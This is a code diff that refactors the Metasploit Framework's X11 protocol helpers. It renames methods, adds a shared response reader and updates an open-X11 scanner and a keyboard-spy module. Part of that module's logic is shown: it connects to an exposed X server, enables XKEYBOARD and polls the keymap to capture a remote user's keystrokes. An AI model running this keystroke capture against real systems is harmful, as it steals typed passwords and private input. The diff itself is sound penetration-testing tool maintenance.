Refactor some X11 code around

lib/msf/core/exploit/remote/x11.rb

@@ -3,4 +3,5 @@
 module Msf::Exploit::Remote::X11
   include Msf::Exploit::Remote::X11::Connect
   include Msf::Exploit::Remote::X11::Extension
+  include Msf::Exploit::Remote::X11::Read
 end

lib/msf/core/exploit/remote/x11/connect.rb

@@ -36,7 +36,7 @@ def x11_connect
 
   # print out the information for an x11 connection which was
   # successfully established
-  def print_connection_info(connection, ip, port)
+  def x11_print_connection_info(connection, ip, port)
     print_good("#{ip} - Successfully established X11 connection")
     vprint_status("  Vendor: #{connection.body.vendor}")
     vprint_status("  Version: #{connection.header.protocol_version_major}.#{connection.header.protocol_version_minor}")

lib/msf/core/exploit/remote/x11/extension.rb

@@ -7,41 +7,24 @@
 #
 
 module Msf::Exploit::Remote::X11::Extension
+  include Msf::Exploit::Remote::X11::Read
   include Rex::Proto::X11::Extension
 
   # Query for an extension, converts the name of the extension to the ID #
-  def query_extension(extension_name, call_count)
+  def x11_query_extension(extension_name, call_count)
     sock.put(X11QueryExtensionRequest.new(extension: extension_name, unused2: call_count).to_binary_s)
-    packet = ''
-    result = nil
-    begin
-      packet = sock.timed_read(X11QueryExtensionResponse.new.num_bytes)
-      # for debugging, print the following line
-      # puts packet.bytes.map { |b| '\\x' + b.to_s(16).rjust(2, '0') }.join
-      result = X11QueryExtensionResponse.read(packet)
-    rescue StandardError => e
-      vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
-    end
-    result
+    x11_read_response(X11QueryExtensionResponse)
   end
 
   # toggles an extension on or off (enable/disable)
-  def toggle_extension(extension_id, wanted_major: 0, toggle: true)
+  def x11_toggle_extension(extension_id, wanted_major: 0, toggle: true)
     sock.put(
       X11ExtensionToggleRequest.new(
         opcode: extension_id,
         toggle: (toggle ? 0 : 1), # 0 is enable, 1 is disable
         wanted_major: wanted_major
       ).to_binary_s
     )
-    packet = ''
-    result = nil
-    begin
-      packet = sock.timed_read(X11ExtensionToggleReply.new.num_bytes)
-      result = X11ExtensionToggleReply.read(packet)
-    rescue StandardError => e
-      vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
-    end
-    result
+    x11_read_response(X11ExtensionToggleResponse)
   end
 end

lib/msf/core/exploit/remote/x11/read.rb

@@ -0,0 +1,46 @@
+# -*- coding: binary -*-
+
+module Msf::Exploit::Remote::X11::Read
+  def x11_read_response(klass, timeout: 10)
+    unless klass.fields.field_name?(:response_length)
+      raise ::ArgumentError, 'X11 class must have the response_length field to be read'
+    end
+
+    remaining = timeout
+    reply_instance = klass.new
+
+    metalength = reply_instance.response_length.num_bytes
+    buffer, elapsed_time = Rex::Stopwatch.elapsed_time do
+      sock.read(reply_instance.response_length.abs_offset + metalength, remaining)
+    end
+    raise ::EOFError, 'X11: failed to read response' if buffer.nil?
+
+    remaining -= elapsed_time
+
+    # see: https://www.x.org/releases/X11R7.7/doc/xproto/x11protocol.html#request_format
+    response_length = reply_instance.response_length.read(buffer[-metalength..]).value
+    response_length *= 4 # field is in 4-byte units
+    response_length += 32 # 32 byte header is not included
+
+    while buffer.length < response_length && remaining > 0
+      chunk, elapsed_time = Rex::Stopwatch.elapsed_time do
+        sock.read(response_length - buffer.length, remaining)
+      end
+
+      remaining -= elapsed_time
+      break if chunk.nil?
+
+      buffer << chunk
+    end
+
+    unless buffer.length == response_length
+      if remaining <= 0
+        raise Rex::TimeoutError, 'X11: failed to read response due to timeout'
+      end
+
+      raise ::EOFError, 'X11: failed to read response'
+    end
+
+    reply_instance.read(buffer)
+  end
+end

lib/rex/proto/x11.rb

@@ -26,7 +26,7 @@ class X11Error < BinData::Record
   end
 
   # https://xcb.freedesktop.org/manual/structxcb__get__property__reply__t.html
-  class X11GetPropertyResponseHeader < BinData::Record
+  class X11GetPropertyResponse < BinData::Record
     endian :little
     uint8 :reply
     uint8 :format
@@ -35,21 +35,10 @@ class X11GetPropertyResponseHeader < BinData::Record
     uint32 :get_property_type # 8bit boolean, \x01 == true \x00 == false
     uint32 :bytes_after
     uint32 :value_length
-    uint32 :pad0
-    uint32 :pad1
-    uint32 :pad2
-  end
-
-  # https://xcb.freedesktop.org/manual/structxcb__get__property__reply__t.html
-  class X11GetPropertyResponseData < BinData::Record
+    uint8_array :pad0, initial_length: 12
     rest :value_data
   end
 
-  class X11GetPropertyResponse < BinData::Record
-    x11_get_property_response_header :header
-    x11_get_property_response_data   :data
-  end
-
   # https://xcb.freedesktop.org/manual/structxcb__intern__atom__reply__t.html
   class X11InternAtomResponse < BinData::Record
     endian :little

lib/rex/proto/x11/extension.rb

@@ -18,10 +18,6 @@ class X11QueryExtensionResponse < BinData::Record
     uint8 :major_opcode # this is the ID of the extension
     uint8 :first_event
     uint8 :first_error
-    # 64 + 64 + 32 padding 'undecoded' in wireshark
-    uint64 :pad1
-    uint64 :pad2
-    uint32 :pad3
   end
 
   # https://xcb.freedesktop.org/manual/structxcb__query__extension__request__t.html
@@ -50,16 +46,12 @@ def versions?
   end
 
   # built based on Wireshark processor
-  class X11ExtensionToggleReply < BinData::Record
+  class X11ExtensionToggleResponse < BinData::Record
     endian :little
     uint8 :reply
     uint8 :pad0
-    uint16 :reply_sequence_number
-    uint32 :reply_length
+    uint16 :sequence_number
+    uint32 :response_length
     uint32 :maximum_request_length
-    # 64 + 64 + 32 padding 'undecoded' in wireshark
-    uint64 :pad1
-    uint64 :pad2
-    uint32 :pad3
   end
 end

lib/rex/proto/x11/xkeyboard.rb

@@ -150,7 +150,7 @@ class X11GetMapRequest < BinData::Record
   end
 
   # https://xcb.freedesktop.org/manual/structxcb__xkb__get__map__reply__t.html
-  class X11GetMapReply < BinData::Record
+  class X11GetMapResponse < BinData::Record
     endian :little
     uint8 :reply
     uint8 :device_id
@@ -351,16 +351,14 @@ class X11QueryKeyMapRequest < BinData::Record
   end
 
   # https://xcb.freedesktop.org/manual/structxcb__query__keymap__reply__t.html
-  class X11QueryKeyMapReply < BinData::Record
+  class X11QueryKeyMapResponse < BinData::Record
     endian :little
     uint8 :reply
     uint8 :pad
     uint16 :sequence_number
     uint32 :response_length
     # byte sequence
-    array :data,
-          type: :uint8,
-          read_until: :eof
+    uint8_array :data, initial_length: 32
   end
 
   # https://xcb.freedesktop.org/manual/structxcb__xkb__bell__request__t.html

modules/auxiliary/gather/x11_keyboard_spy.rb

@@ -145,13 +145,13 @@ def run
     fail_with(Msf::Module::Failure::UnexpectedReply, 'Port connected, but no response to X11 connection attempt') if connection.nil?
 
     if connection.header.success == 1
-      print_connection_info(connection, datastore['RHOST'], rport)
+      x11_print_connection_info(connection, datastore['RHOST'], rport)
     else
       fail_with(Msf::Module::Failure::UnexpectedReply, 'X11 connection not successful')
     end
 
     vprint_status('[2/9] Checking on BIG-REQUESTS extension')
-    big_requests_plugin = query_extension('BIG-REQUESTS', query_extension_call_counter)
+    big_requests_plugin = x11_query_extension('BIG-REQUESTS', query_extension_call_counter)
     fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if big_requests_plugin.nil?
     if big_requests_plugin.present == 1
       print_good("  Extension BIG-REQUESTS is present with id #{big_requests_plugin.major_opcode}")
@@ -160,7 +160,7 @@ def run
     end
 
     vprint_status('[3/9] Enabling BIG-REQUESTS')
-    toggle = toggle_extension(big_requests_plugin.major_opcode)
+    toggle = x11_toggle_extension(big_requests_plugin.major_opcode)
     fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?
 
     vprint_status('[4/9] Creating new graphical context')
@@ -181,18 +181,10 @@ def run
 
     # nothing valuable in the response, just make sure we read it in to
     # confirm its expected data and not leave the response on the socket
-    begin
-      packet = sock.timed_read(X11GetPropertyResponseHeader.new.num_bytes)
-      packet_header = X11GetPropertyResponseHeader.read(packet)
-
-      packet = sock.timed_read(packet_header.value_length * 4)
-      X11GetPropertyResponseData.read(packet)
-    rescue StandardError => e
-      vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
-    end
+    x11_read_response(X11GetPropertyResponse)
 
     vprint_status('[5/9] Checking on XKEYBOARD extension')
-    xkeyboard_plugin = query_extension('XKEYBOARD', query_extension_call_counter)
+    xkeyboard_plugin = x11_query_extension('XKEYBOARD', query_extension_call_counter)
     fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if xkeyboard_plugin.nil?
     if xkeyboard_plugin.present == 1
       print_good("  Extension XKEYBOARD is present with id #{xkeyboard_plugin.major_opcode}")
@@ -201,23 +193,16 @@ def run
     end
 
     vprint_status('[6/9] Enabling XKEYBOARD')
-    toggle = toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
+    toggle = x11_toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
     fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?
 
     vprint_status('[7/9] Requesting XKEYBOARD map')
     sock.put(X11GetMapRequest.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
                                   full_key_types: 1,
                                   full_key_syms: 1,
                                   full_modifier_map: 1).to_binary_s)
-    map_raw_data = sock.get_once(-1, 1)
-    # for debugging packet output, uncomment following line
-    # puts data.bytes.map { |b| "\\x" + b.to_s(16).rjust(2, '0') }.join
-    begin
-      map_data = X11GetMapReply.read(map_raw_data)
-    rescue EOFError
-      debug_data = map_raw_data.bytes.map { |b| '\\x' + b.to_s(16).rjust(2, '0') }.join
-      fail_with(Msf::Module::Failure::UnexpectedReply, "Unable to process X11GetMapReply response (EOFError): #{debug_data}")
-    end
+
+    map_data = x11_read_response(X11GetMapResponse)
 
     vprint_status('[8/9] Enabling notification on keyboard and map')
     sock.put(X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
@@ -247,10 +232,12 @@ def run
     printerval = datastore['PRINTERVAL'].to_i
     begin
       loop do
+        # sleep 1
         break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC))
 
         sock.put(X11QueryKeyMapRequest.new.to_binary_s)
-        bit_array_of_keystrokes = X11QueryKeyMapReply.read(sock.get_once(-1, 1)).data
+        query_key_map_response = x11_read_response(X11QueryKeyMapResponse)
+        bit_array_of_keystrokes = query_key_map_response.data
         # we poll FAR quicker than a normal key press, so we need to filter repeats
         unless bit_array_of_keystrokes == last_key_press_array # skip repeats
           translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty

modules/auxiliary/scanner/x11/open_x11.rb

@@ -50,7 +50,7 @@ def run_host(ip)
     end
 
     if connection.header.success == 1
-      print_connection_info(connection, ip, rport)
+      x11_print_connection_info(connection, ip, rport)
       report_service(
         host: rhost,
         proto: 'tcp',